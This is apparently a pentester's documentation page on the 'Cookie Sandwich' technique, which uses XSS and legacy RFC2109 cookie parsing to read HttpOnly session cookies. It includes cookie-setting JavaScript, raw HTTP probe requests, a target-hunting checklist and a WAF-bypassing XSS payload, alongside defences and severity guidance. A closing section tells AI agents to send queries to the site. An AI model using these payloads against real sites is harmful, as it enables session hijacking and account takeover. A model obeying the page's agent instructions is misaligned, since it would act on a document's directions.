# Cookie Sandwich Attack

***

### What Is the Cookie Sandwich?

The Cookie Sandwich is a **post-XSS escalation technique** that bypasses the `HttpOnly` flag on cookies.

It is **not** a new class of XSS. It abuses a mismatch between how legacy RFC2109 servers parse the `Cookie:` HTTP header and how modern browsers build it.

**The key insight:** browsers send *all* cookies in a single `Cookie:` HTTP header `HttpOnly` or not. `HttpOnly` only blocks `document.cookie` in JavaScript. It does nothing to prevent the cookie appearing in the raw HTTP header. The sandwich makes the server misinterpret that header, absorbing the secret cookie inside another cookie's value, which then gets reflected in the response body where JS *can* read it.

```javascript
Normal XSS path:
XSS → document.cookie → ❌ HttpOnly cookies invisible → low impact

Cookie Sandwich path:
XSS → craft Cookie header → server mis-parses → HttpOnly absorbed into reflected cookie
     → JS reads response body → ✓ HttpOnly cookie extracted → session hijack
```

***

### The RFC Standard Background (from RFC 2109)

RFC 2109 (February 1997) defined the first standardised `Cookie` / `Set-Cookie` mechanism. It was later obsoleted by RFC 2965 and ultimately RFC 6265 (the modern standard).

#### Key RFC 2109 features that make the attack work

**Quoted string values:**

```
value = word
word  = token | quoted-string
```

A cookie value wrapped in double quotes is valid. The closing `"` terminates the value.

**Cookie ordering rule (the ordering primitive we exploit):**

> "If multiple cookies satisfy the criteria above, they are ordered in the Cookie header such that those with more specific Path attributes precede those with less specific."

So `/analytics` comes before `/`. This is what we manipulate to control cookie order.

**prefixed names are special attributes:**

> "When it receives a Cookie header, the origin server should treat cookies with NAMEs whose prefix is $ specially."

Where `$Version=1` corresponds to this legacy standard. This is why `$Version=1` is meaningful to legacy parsers it signals RFC2109 mode. Modern browsers let you set `$Version` from JavaScript because they don't treat it specially.

**Version attribute:**

> `Version=version`  Required. Identifies which version of the state management specification the cookie conforms to. For this specification, Version=1 applies.

Sending `$Version=1` in the Cookie header tells the server to switch to RFC2109 parsing mode.

***

### How the Cookie Header Gets Sandwiched

#### Step-by-step construction

Assume the victim has:

```
PHPSESSID=s3cr3t   (HttpOnly, path=/)
```

Your injected JS sets three cookies:

```javascript
document.cookie = `$Version=1; domain=analytics.l1nuxkid.dev; path=/track;`;
document.cookie = `tracker="fakevalue; domain=analytics.l1nuxkid.dev; path=/track;`;
document.cookie = `dummy=end"; domain=analytics.l1nuxkid.dev; path=/;`;
```

The browser sorts by path length (longer first) and builds:

```
Cookie: $Version=1; tracker="fakevalue; PHPSESSID=s3cr3t; dummy=end"
```

Apache Tomcat sees `$Version=1`, enters RFC2109 mode, and parses `tracker`'s value as everything between the opening `"` and the next unescaped `"`  consuming the entire string including `PHPSESSID=s3cr3t`.

The server's internal representation:

```json
{
  "$Version": "1",
  "tracker": "fakevalue; PHPSESSID=s3cr3t; dummy=end"
}
```

If the endpoint reflects `tracker` in its response body:

```json
{"tracker":"fakevalue; PHPSESSID=s3cr3t; dummy=end"}
```

Your JS reads this via `fetch()` and extracts the session ID.

#### The sandwich metaphor

```
$Version=1;  tracker="fakevalue;     PHPSESSID=s3cr3t;    dummy=end"
             ↑                       ↑                    ↑
             bread slice 1           SECRET FILLING        bread slice 2
             (opens the quote)       (HttpOnly cookie)     (closes the quote)
```

***

### 4. Vulnerable Servers

| Server               | RFC2109 Support        | Notes                                    |
| -------------------- | ---------------------- | ---------------------------------------- |
| Apache Tomcat 8.5.x  | ✓ Default ON           | `$Version` triggers legacy mode          |
| Apache Tomcat 9.0.x  | ✓ Default ON           | Same                                     |
| Apache Tomcat 10.0.x | ✓ Default ON           | Same                                     |
| Python Flask         | ✓ No `$Version` needed | Supports quoted strings natively         |
| Python Django        | ✓ No `$Version` needed | Same                                     |
| PHP                  | Partial                | Treats quotes literally in most versions |
| Ruby                 | Partial                | Similar to PHP                           |
| Spring               | ✓ Partially            | Consumes `$Version`                      |

#### Flask/Django variant  no `$Version` required

These frameworks support quoted cookie values without needing legacy mode:

```
Cookie: tracker="fakevalue; PHPSESSID=s3cr3t; dummy=end"
```

They auto-encode the semicolons in the response using octal:

```
Set-Cookie: tracker="fakevalue\073 PHPSESSID=s3cr3t\073 dummy=end"
```

***

### 5. The Four Conditions for Exploitation

All four must be true for a working exploit:

```
① RFC2109 server support
  └─ Apache Tomcat 8.5/9/10, Flask, Django, etc.

② JavaScript execution on the target domain
  └─ Any XSS (stored, reflected, DOM) — or cookie injection (CRLF, subdomain takeover)

③ A cookie-reflecting endpoint
  └─ Server reads a cookie value and echoes it in the response body (JSON API,
     analytics endpoint, personalisation, "Welcome [username]" page, etc.)
  └─ Must be reachable from the XSS origin (same-origin or CORS with credentials)

④ Controllable cookie order
  └─ You must be able to place $Version first in the Cookie header
  └─ Done via path length manipulation (set your cookies with longer path)
```

***

### 6. Recon Checklist for Hunting

#### Check 1  RFC2109 support

Send in Burp Repeater:

```http
GET / HTTP/1.1
Host: l1nuxkid.dev
Cookie: $Version=1; test=hello
```

Check the response (or server-side logs if you have access). If `$Version` is consumed (not reflected as a separate cookie), RFC2109 is active.

Manual sandwich test:

```http
GET / HTTP/1.1
Host: l1nuxkid.dev
Cookie: $Version=1; probe="; PHPSESSID=TESTVALUE; dummy="
```

If any endpoint reflects `TESTVALUE` in the response body, it's confirmed vulnerable.

#### Check 2  XSS surface

Hunt in order of impact:

1. Stored XSS — profile bios, comments, post titles, usernames
2. Reflected XSS — search params, error pages, redirect parameters
3. DOM XSS — `location.hash`, `document.referrer`, `postMessage` handlers
4. Cookie injection via CRLF or header injection (no XSS needed)

#### Check 3  Cookie-reflecting endpoints

Look for:

* Analytics/tracking endpoints: `/track`, `/analytics`, `/pixel`, `/beacon`
* Personalisation: `/api/user`, `/api/session`, `/profile`
* Debug pages that dump cookies (common in staging)
* Any JSON response containing values that change based on cookies you set

#### Check 4  CORS with credentials

```http
GET /api/session HTTP/1.1
Host: analytics.l1nuxkid.dev
Origin: https://l1nuxkid.dev
```

You need both headers in response:

```
Access-Control-Allow-Origin: https://l1nuxkid.dev
Access-Control-Allow-Credentials: true
```

If the reflecting endpoint is on the same origin as the XSS, you don't need CORS at all.

#### Check 5 Cookie path ordering

Confirm you can put your crafted cookies before the victim's session cookie by checking what path the session cookie uses (usually `/`). Your sandwich bread cookies need a longer path — e.g., `/api`, `/track`, `/analytics`.

***

### 7. WAF Bypass for Delivering the XSS Payload

From the PortSwigger research unpatched event handler to bypass AWS WAF:

```html
<link rel="canonical"
  oncontentvisibilityautostatechange="alert(1)"
  style="content-visibility:auto">
```

Other obscure event handlers useful for WAF bypass:

```
oncontentvisibilityautostatechange  — content-visibility CSS changes
onbeforetoggle                      — details/summary element toggle
onsecuritypolicyviolation           — CSP violation fires
onscrollend                         — end of scroll event
```

***

### 8. Defences (Know What You're Testing Against)

| Defence                            | What it does                           | Does it stop sandwich?               |
| ---------------------------------- | -------------------------------------- | ------------------------------------ |
| `Rfc6265CookieProcessor` in Tomcat | Disables RFC2109 entirely              | ✓ Yes                                |
| `__Host-` cookie prefix            | Forces `path=/`, `Secure`, no `domain` | ✓ Breaks ordering trick              |
| Never reflect raw cookie values    | No reflection gadget                   | ✓ Yes                                |
| Sanitise cookie values server-side | Even if reflected, payload is escaped  | ✓ Yes                                |
| HttpOnly alone                     | Blocks `document.cookie` only          | ✗ No — this is what we bypass        |
| CSP                                | Limits XSS delivery                    | Partially — no-fetch CSP kills exfil |

***

### 9. Impact Classification

| Scenario                                 | Severity                         |
| ---------------------------------------- | -------------------------------- |
| XSS + HttpOnly bypass + working exfil    | Critical (full account takeover) |
| HttpOnly bypass confirmed, no exfil path | High                             |
| RFC2109 supported, no reflection gadget  | Informational / Low              |
| Self-XSS only                            | Not a valid bug                  |

***

### References

* **Zakhar Fedotkin — PortSwigger Research (primary source)** <https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique>
* **Anakin Thanainantha — SnoopBees detailed walkthrough with lab** <https://blog.snoopbees.com/http-cookie-sandwich-attack-6ba8110e0e02>
* **0verlo0ked — Medium writeup** <https://medium.com/@mysticraganork66/heres-the-polished-write-up-of-the-cookie-sandwich-technique-a3d921c8aa23>
* **RFC 2109 — HTTP State Management Mechanism (February 1997)** D. Kristol, L. Montulli — Bell Laboratories / Netscape Communications The original spec whose §4.3.4 (cookie ordering by path) and quoted-string support enable this attack. Obsoleted by RFC 2965, then RFC 6265.
* **RFC 6265 — HTTP State Management Mechanism (modern standard)** Describes the current cookie model that does NOT support RFC2109 quoted strings.
* **Ankur Sundara — Cookie Bugs: Smuggling & Injection** Referenced in PortSwigger research as further reading on cookie edge cases.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/web-application-pentesting/all-about-xss/cookie-sandwich-attack.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
